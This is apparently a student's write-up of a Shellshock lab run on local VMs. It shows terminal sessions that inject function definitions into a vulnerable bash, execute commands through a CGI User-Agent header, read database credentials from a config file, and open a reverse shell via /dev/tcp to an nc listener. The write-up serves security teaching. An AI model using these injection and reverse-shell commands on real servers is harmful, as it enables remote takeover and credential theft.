Lab2 Shellshock Attack Lab

Marco Lin

Task 1.Attack set-UID program

```
[09/18/19]seed@VM:~$ foo='() { echo "hello world"; }'
[09/18/19]seed@VM:~$ echo $foo
() { echo "hello world"; }
[09/18/19]seed@VM:~$ declare -f foo
[09/18/19]seed@VM:~$ export foo
[09/18/19]seed@VM:~$ bas_shellshock
bas_shellshock: command not found
[09/18/19]seed@VM:~$ bash_shellshock
[09/18/19]seed@VM:~$ bash
[09/18/19]seed@VM:~$ declare -f foo
[09/18/19]seed@VM:~$ bash_shellshock
[09/18/19]seed@VM:~$ declare -f foo
foo ()
{
    echo "hello world"
}
[09/18/19]seed@VM:~$ foo
hello world
[09/18/19]seed@VM:~$
```

```
[09/18/19]seed@VM:~$ foo='() { echo "hello world"; }; echo "extra";'
[09/18/19]seed@VM:~$ echo $foo
() { echo "hello world"; }; echo "extra";
[09/18/19]seed@VM:~$ export foo
[09/18/19]seed@VM:~$ bash_shellshock
extra
[09/18/19]seed@VM:~$ echo $foo

[09/18/19]seed@VM:~$ declare -f foo
foo ()
{
    echo "hello world"
}
[09/18/19]seed@VM:~$
```

Task 2. Attack CGI programs

Step one: set up the CGI program

The script is accessible via curl:

```
-rwxr-xr-x 1 root root 74 Sep 16 18:18 myprog.cgi
[09/18/19]seed@VM:.../cgi-bin$ curl http://localhost/cgi-bin/myprog.cgi

Hello World
[09/18/19]seed@VM:.../cgi-bin$
```

Step two: Launch the Attack

A Shellshock attack is able to be executed on the web server from a remote agent by

adding a function to the agent variable:

```
[09/18/19]seed@VM:.../cgi-bin$ curl -A "echo hello" -v http://localhost/cgi-bi>
*   Trying 127.0.0.1...
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET /cgi-bin/myprog.cgi HTTP/1.1
> Host: localhost
> User-Agent: echo hello
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Wed, 18 Sep 2019 23:36:16 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Content-Length: 13
< Content-Type: text/plain
<
```

Task 3. Remote attack

3A. Change the localhost to server address, and after execute the program, we got the environmental variables.

```
[09/18/19]seed@VM:.../cgi-bin$ cat test.cgi
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "** Environment Varliables *** "
strings /proc/$$/environ
```

```
[09/18/19]seed@VM:~$ curl http://10.0.2.5/cgi-bin/test.cgi
** Environment Varliables ***
HTTP_HOST=10.0.2.5
HTTP_USER_AGENT=curl/7.47.0
HTTP_ACCEPT=*/*
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
SERVER_SIGNATURE=<address>Apache/2.4.18 (Ubuntu) Server at 10.0.2.5 Port 80</add
ress>
SERVER_SOFTWARE=Apache/2.4.18 (Ubuntu)
SERVER_NAME=10.0.2.5
SERVER_ADDR=10.0.2.5
SERVER_PORT=80
REMOTE_ADDR=10.0.2.4
DOCUMENT_ROOT=/var/www/html
REQUEST_SCHEME=http
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/
SERVER_ADMIN=webmaster@localhost
SCRIPT_FILENAME=/usr/lib/cgi-bin/test.cgi
REMOTE_PORT=46104
GATEWAY_INTERFACE=CGI/1.1
SERVER_PROTOCOL=HTTP/1.1
REQUEST_METHOD=GET
QUERY_STRING=
```

3B using the cat command to get the dbuser and dbpass information which are elgg_admin and seedubuntu.

```
#!/bin/bash_shellshock

echo "Content-type: text/plain"
echo
echo "Hello world"
cat | grep -n "dbuser\|dbpass" /var/www/XSS/Elgg/elgg-config/settings.php
~
```

```
[09/19/19]seed@VM:~$ curl -v -A "echo; /bin/ls -l; echo "test"" http://10.0.2>
*   Trying 10.0.2.5...
* Connected to 10.0.2.5 (10.0.2.5) port 80 (#0)
> GET /cgi-bin/test_Hello.cgi HTTP/1.1
> Host: 10.0.2.5
> User-Agent: echo; /bin/ls -l; echo test
> Accept: */*
>
< HTTP/1.1 200 OK
< Date: Thu, 19 Sep 2019 07:31:53 GMT
< Server: Apache/2.4.18 (Ubuntu)
< Vary: Accept-Encoding
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
Hello world
37: * @global string $CONFIG->dbuser
39:$CONFIG->dbuser = 'elgg_admin';
44: * @global string $CONFIG->dbpass
46:$CONFIG->dbpass = 'seedubuntu';
85://$CONFIG->db['write']['dbuser'] = "";
86://$CONFIG->db['write']['dbpass'] = "";
90://$CONFIG->db['read'][0]['dbuser'] = "";
91://$CONFIG->db['read'][0]['dbpass'] = "";
94://$CONFIG->db['read'][1]['dbuser'] = "";
95://$CONFIG->db['read'][1]['dbpass'] = "";
* Connection #0 to host 10.0.2.5 left intact
```

3C. We can remotely control the shell

```
[09/19/19]seed@VM:~$ /bin/bash_shellshock -i > /dev/tcp/10.0.2.4/90
90 0<&1 2>&1
```

```
[09/19/19]seed@VM:~$ nc -l 9090  -v
Listening on [0.0.0.0] (family 0, port 9090)
Connection from [10.0.2.5] port 9090 [tcp/*] accepted (family 2, sp
ort 54182)
[09/19/19]seed@VM:~$
```

Task 4. Questions

1.No, the vulnerability exists only when the variable value starts with '() {'.

2. The target process should run bash. And, the process must obtain some environment variable from outside.

3.upgrade system.